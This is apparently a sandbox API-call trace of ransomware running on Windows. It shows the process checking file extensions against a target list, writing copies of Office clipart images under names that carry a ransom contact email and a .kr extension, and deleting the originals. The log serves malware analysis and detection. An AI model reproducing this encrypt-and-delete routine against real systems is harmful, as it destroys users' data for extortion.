[0201.741] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0201.741] lstrlenW (lpString=".pdf") returned 4 [0201.741] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.741] lstrlenW (lpString=".xls") returned 4 [0201.741] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.741] lstrlenW (lpString=".xlsx") returned 5 [0201.741] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0201.741] lstrlenW (lpString=".ppt") returned 4 [0201.741] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.742] lstrlenW (lpString=".zip") returned 4 [0201.742] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.742] lstrlenW (lpString=".rar") returned 4 [0201.742] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.742] lstrlenW (lpString=".bz2") returned 4 [0201.742] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.742] lstrlenW (lpString=".7z") returned 3 [0201.742] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.742] lstrlenW (lpString=".dbf") returned 4 [0201.742] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.742] lstrlenW (lpString=".1cd") returned 4 [0201.742] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.742] lstrlenW (lpString=".jpg") returned 4 [0201.742] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.742] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.742] lstrlenW (lpString="J0099167.JPG") returned 12 [0201.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.907] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=43949) returned 1 [0201.907] CloseHandle (hObject=0x3e8) returned 1 [0201.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0201.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.908] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.908] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0201.909] GetLastError () returned 0x0 [0201.909] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xabad, lpOverlapped=0x0) returned 1 [0201.912] WriteFile (in: hFile=0x55c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xabb0, lpOverlapped=0x0) returned 1 [0201.913] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.913] WriteFile (in: hFile=0x55c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.913] SetEndOfFile (hFile=0x55c) returned 1 [0201.914] CloseHandle (hObject=0x55c) returned 1 [0201.914] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.914] SetEndOfFile (hFile=0x3e8) returned 1 [0201.917] CloseHandle (hObject=0x3e8) returned 1 [0201.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0201.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.918] lstrlenW (lpString=".doc") returned 4 [0201.918] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.918] lstrlenW (lpString=".docx") returned 5 [0201.918] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0201.918] lstrlenW (lpString=".pdf") returned 4 [0201.918] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.918] lstrlenW (lpString=".xls") returned 4 [0201.918] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.918] lstrlenW (lpString=".xlsx") returned 5 [0201.918] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0201.918] lstrlenW (lpString=".ppt") returned 4 [0201.918] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.918] lstrlenW (lpString=".zip") returned 4 [0201.918] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.918] lstrlenW (lpString=".rar") returned 4 [0201.918] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.918] lstrlenW (lpString=".bz2") returned 4 [0201.918] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.918] lstrlenW (lpString=".7z") returned 3 [0201.918] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.918] lstrlenW (lpString=".dbf") returned 4 [0201.918] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.918] lstrlenW (lpString=".1cd") returned 4 [0201.919] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.919] lstrlenW (lpString=".jpg") returned 4 [0201.919] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.919] lstrlenW (lpString=".doc") returned 4 [0201.919] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.919] lstrlenW (lpString=".docx") returned 5 [0201.919] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0201.919] lstrlenW (lpString=".pdf") returned 4 [0201.919] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.919] lstrlenW (lpString=".xls") returned 4 [0201.919] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.919] lstrlenW (lpString=".xlsx") returned 5 [0201.919] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0201.919] lstrlenW (lpString=".ppt") returned 4 [0201.919] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.919] lstrlenW (lpString=".zip") returned 4 [0201.919] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.919] lstrlenW (lpString=".rar") returned 4 [0201.919] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.919] lstrlenW (lpString=".bz2") returned 4 [0201.919] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.919] lstrlenW (lpString=".7z") returned 3 [0201.919] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.919] lstrlenW (lpString=".dbf") returned 4 [0201.919] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.919] lstrlenW (lpString=".1cd") returned 4 [0201.920] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0201.920] lstrlenW (lpString=".jpg") returned 4 [0201.920] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.920] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.920] lstrlenW (lpString="J0099169.WMF") returned 12 [0201.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.920] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10192) returned 1 [0201.920] CloseHandle (hObject=0x3e8) returned 1 [0201.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0201.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.921] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.921] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0201.922] GetLastError () returned 0x0 [0201.922] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x27d0, lpOverlapped=0x0) returned 1 [0201.924] WriteFile (in: hFile=0x55c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x27e0, lpOverlapped=0x0) returned 1 [0201.925] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.925] WriteFile (in: hFile=0x55c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.925] SetEndOfFile (hFile=0x55c) returned 1 [0201.925] CloseHandle (hObject=0x55c) returned 1 [0201.925] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.925] SetEndOfFile (hFile=0x3e8) returned 1 [0201.928] CloseHandle (hObject=0x3e8) returned 1 [0201.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0201.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.929] lstrlenW (lpString=".doc") returned 4 [0201.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.929] lstrlenW (lpString=".docx") returned 5 [0201.929] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0201.929] lstrlenW (lpString=".pdf") returned 4 [0201.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.929] lstrlenW (lpString=".xls") returned 4 [0201.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.929] lstrlenW (lpString=".xlsx") returned 5 [0201.929] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0201.929] lstrlenW (lpString=".ppt") returned 4 [0201.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.929] lstrlenW (lpString=".zip") returned 4 [0201.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.930] lstrlenW (lpString=".rar") returned 4 [0201.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString=".bz2") returned 4 [0201.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString=".7z") returned 3 [0201.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.930] lstrlenW (lpString=".dbf") returned 4 [0201.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.930] lstrlenW (lpString=".1cd") returned 4 [0201.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.930] lstrlenW (lpString=".jpg") returned 4 [0201.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.930] lstrlenW (lpString=".doc") returned 4 [0201.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString=".docx") returned 5 [0201.930] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0201.930] lstrlenW (lpString=".pdf") returned 4 [0201.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString=".xls") returned 4 [0201.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.930] lstrlenW (lpString=".xlsx") returned 5 [0201.930] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0201.930] lstrlenW (lpString=".ppt") returned 4 [0201.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.930] lstrlenW (lpString=".zip") returned 4 [0201.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.931] lstrlenW (lpString=".rar") returned 4 [0201.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.931] lstrlenW (lpString=".bz2") returned 4 [0201.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.931] lstrlenW (lpString=".7z") returned 3 [0201.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.931] lstrlenW (lpString=".dbf") returned 4 [0201.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.931] lstrlenW (lpString=".1cd") returned 4 [0201.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0201.931] lstrlenW (lpString=".jpg") returned 4 [0201.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.931] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.931] lstrlenW (lpString="J0099170.WMF") returned 12 [0201.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.933] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=24292) returned 1 [0201.933] CloseHandle (hObject=0x3e8) returned 1 [0201.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0201.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.933] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.933] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0201.934] GetLastError () returned 0x0 [0201.934] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0202.061] WriteFile (in: hFile=0x55c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0202.063] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.063] WriteFile (in: hFile=0x55c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0202.063] SetEndOfFile (hFile=0x55c) returned 1 [0202.063] CloseHandle (hObject=0x55c) returned 1 [0202.063] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.063] SetEndOfFile (hFile=0x3e8) returned 1 [0202.066] CloseHandle (hObject=0x3e8) returned 1 [0202.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0202.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.503] lstrlenW (lpString=".doc") returned 4 [0202.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.503] lstrlenW (lpString=".docx") returned 5 [0202.503] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0202.503] lstrlenW (lpString=".pdf") returned 4 [0202.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.503] lstrlenW (lpString=".xls") returned 4 [0202.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.503] lstrlenW (lpString=".xlsx") returned 5 [0202.503] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0202.503] lstrlenW (lpString=".ppt") returned 4 [0202.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.503] lstrlenW (lpString=".zip") returned 4 [0202.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.503] lstrlenW (lpString=".rar") returned 4 [0202.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.503] lstrlenW (lpString=".bz2") returned 4 [0202.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.503] lstrlenW (lpString=".7z") returned 3 [0202.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.503] lstrlenW (lpString=".dbf") returned 4 [0202.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.504] lstrlenW (lpString=".1cd") returned 4 [0202.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.504] lstrlenW (lpString=".jpg") returned 4 [0202.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.504] lstrlenW (lpString=".doc") returned 4 [0202.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString=".docx") returned 5 [0202.504] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0202.504] lstrlenW (lpString=".pdf") returned 4 [0202.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString=".xls") returned 4 [0202.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.504] lstrlenW (lpString=".xlsx") returned 5 [0202.504] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0202.504] lstrlenW (lpString=".ppt") returned 4 